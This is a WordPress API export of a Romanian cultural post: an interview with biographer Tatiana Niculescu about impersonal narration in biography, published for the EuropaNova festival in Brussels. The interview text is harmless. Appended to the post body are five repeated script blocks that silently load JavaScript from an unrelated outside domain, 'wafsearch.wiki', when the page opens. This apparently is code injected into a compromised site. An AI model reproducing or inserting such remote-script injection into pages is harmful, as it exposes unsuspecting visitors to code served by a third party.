{"id":6664,"date":"2023-08-31T19:09:34","date_gmt":"2023-08-31T18:09:34","guid":{"rendered":"https:\/\/www.europanova.be\/tatiana-niculescu-nu-ma-implic-emotional-in-povestire\/"},"modified":"2025-12-17T14:49:22","modified_gmt":"2025-12-17T13:49:22","slug":"tatiana-niculescu-nu-ma-implic-emotional-in-povestire","status":"publish","type":"post","link":"https:\/\/www.europanova.be\/ro\/tatiana-niculescu-nu-ma-implic-emotional-in-povestire\/","title":{"rendered":"Tatiana Niculescu: \u201cNu m\u0103 implic emo\u021bional \u00een povestire\u201d"},"content":{"rendered":"\n<p><strong>Vie\u021bi scrise<\/strong><\/p>\n\n\n\n<p>Festivalul EuropaNova \u201cP\u0102M\u00c2NTURI MITICE\u201d, edi\u021bia a X-a<\/p>\n\n\n\n<p><strong>18:30 S\u00e2mb\u0103t\u0103, 23 septembrie<\/strong>. <\/p>\n\n\n\n<p>EuropaNova, Clos du Parnasse 11E, Bruxelles<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\">\u00cent\u00e2lnire cu scriitoarea TATIANA NICULESCU<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Moderator: MIRELA NI\u021a\u0102 SANDU<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><em>EUROPANOVA: \u00cen procesul scrierii unei biografii, a\u021bi afirmat c\u0103 v\u0103 \u201clep\u0103da\u021bi\u201d de sinele auctorial. Pute\u021bi extinde? Ce strategii folosi\u021bi? C\u00e2nd \u0219i cum revine autorul \u00een text?<\/em><\/p>\n\n\n\n<p>TATIANA NICULESCU: \u00cen biografii, folosesc, ca tehnic\u0103, nara\u021biunea impersonal\u0103 \u00een reconstituirea vie\u021bii cuiva \u0219i a epocii \u00een care acel cineva a tr\u0103it. De aici apare impresia lep\u0103d\u0103rii de sinele auctorial, despre care vorbi\u021bi. Nara\u021biunea impersonal\u0103 e tehnica cea mai potrivit\u0103 atunci c\u00e2nd nu anticipezi evenimentele \u0219i c\u00e2nd vrei s\u0103 faci o prezentare c\u00e2t mai veridic\u0103, uneori cu efect cinematografic, a principalelor momente, situa\u021bii, decizii din via\u021ba pe care o poveste\u0219ti. Impersonalitatea \u0219i \u00eencercarea de a m\u0103 situa pe c\u00e2t posibil \u00een timpul \u0219i epoca pe care le evoc m\u0103 ajut\u0103, pe de o parte, s\u0103 p\u0103strez distan\u021ba fa\u021b\u0103 de cum a fost cineva evaluat, judecat sau etichetat ulterior \u0219i, pe de alt\u0103 parte, s\u0103 nu m\u0103 implic emo\u021bional \u00een povestire. Printr-o documentare c\u00e2t mai bun\u0103, m\u0103 str\u0103duiesc s\u0103 pun la dispozi\u021bia cititorilor faptele \u0219i contextul lor, \u00een a\u0219a fel \u00eenc\u00e2t s\u0103 judece singuri \u0219i s\u0103-\u0219i fac\u0103 propria p\u0103rere despre cel\/cea despre care scriu.<\/p>\n\n\n\n<p><em>EUROPANOVA: Cum e s\u0103 petrece\u021bi at\u00e2t de mult timp \u00een via\u021ba altcuiva?<\/em><\/p>\n\n\n\n<p>TATIANA NICULESCU: Fascinant, instructiv, e un prilej de a descoperi multe lucruri despre oameni \u0219i despre mine \u00eens\u0103mi.<\/p>\n\n\n\n<p><em>EUROPANOVA: Se doresc repara\u021bii morale unele dintre biografiile pe care le-a\u021bi oferit publicului de-a lungul timpului?<\/em><\/p>\n\n\n\n<p>TATIANA NICULESCU: Nu. Ar \u00eensemna s\u0103 \u00eenlocuiesc o etichet\u0103 cu alta. Scriu ca s\u0103 \u00een\u021beleg mai bine o via\u021b\u0103 \u0219i o epoc\u0103 \u0219i \u00een speran\u021ba c\u0103 \u0219i cititorii mei ar putea fi atra\u0219i de o revizitare proasp\u0103t\u0103 \u0219i nuan\u021bat\u0103 a trecutului.<\/p>\n\n\n\n<p><em>EUROPANOVA: Dac\u0103 a\u021bi scrie biografia unui contemporan, care ar fi personalitatea aleas\u0103?<\/em><\/p>\n\n\n\n<p>TATIANA NICULESCU: Ar fi uimitoarea Maia Sandu, pre\u0219edinta Republicii Moldova.<\/p>\n\n\n\n<p><em>EUROPANOVA: C\u00e2nd scrie\u021bi o biografie, o face\u021bi \u00eempreun\u0103 cu cititorii, spune\u021bi \u00eentr-un interviu. Cum v\u0103 imagina\u021bi cititorul ideal \u0219i care ar fi reac\u021biile a\u0219teptate de dvs din partea cititorilor care v\u0103 vor \u00eent\u00e2mpina la Festivalul EuropaNova \u201cP\u0103m\u00e2nturi mitice\u201d, edi\u021bia a X-a, de la Bruxelles?<\/em><\/p>\n\n\n\n<p>TATIANA NICULESCU: Ce spuneam \u00een interviul de care aminti\u021bi era c\u0103, atunci c\u00e2nd scriu o biografie, nu am \u00een minte un tip anume de cititor, dar \u00eemi \u00eenchipui c\u0103 cititorii mei descoper\u0103 \u00eempreun\u0103 cu mine lucruri noi \u0219i perspective noi despre personaje istorice vechi socotite prea bine cunoscute \u0219i clasate \u00een imaginarul colectiv sau c\u0103 \u00eenva\u021b\u0103 ceva despre propria via\u021b\u0103 citind despre via\u021ba unui contemporan. Cititor ideal e orice om capabil de nuan\u021be \u0219i curios s\u0103 deschid\u0103 o carte. M-a\u0219 bucura foarte mult, desigur, dac\u0103 cititorii care vor veni la Festivalul EuropaNova de la Bruxelles, ar fi interesa\u021bi de c\u0103r\u021bile mele \u0219i le-ar citi cu pl\u0103cere.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size\">Acest proiect este realizat cu sprijinul Departamentului pentru Rom\u00e2nii de Pretutindeni, al Institutului Cultural Rom\u00e2n \u2013 Bruxelles, al Ambasadei Rom\u00e2niei \u00een Regatul Belgiei \u0219i al Ambasadei Moldovei \u00een Regatul Belgiei \u0219i Luxemburg.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Vie\u021bi scrise Festivalul EuropaNova \u201cP\u0102M\u00c2NTURI MITICE\u201d, edi\u021bia a X-a 18:30 S\u00e2mb\u0103t\u0103, 23 septembrie. EuropaNova, Clos du Parnasse 11E, Bruxelles EUROPANOVA: \u00cen procesul scrierii unei biografii, a\u021bi afirmat c\u0103 v\u0103 \u201clep\u0103da\u021bi\u201d de sinele auctorial. Pute\u021bi extinde? Ce strategii folosi\u021bi? C\u00e2nd \u0219i cum revine autorul \u00een text? TATIANA NICULESCU: \u00cen biografii, folosesc, ca tehnic\u0103, nara\u021biunea impersonal\u0103 \u00een [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6834,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[149,130],"tags":[],"class_list":["post-6664","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-auteurs","category-festival"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6664","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/comments?post=6664"}],"version-history":[{"count":6,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6664\/revisions"}],"predecessor-version":[{"id":7166,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6664\/revisions\/7166"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media\/6834"}],"wp:attachment":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media?parent=6664"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/categories?post=6664"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/tags?post=6664"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}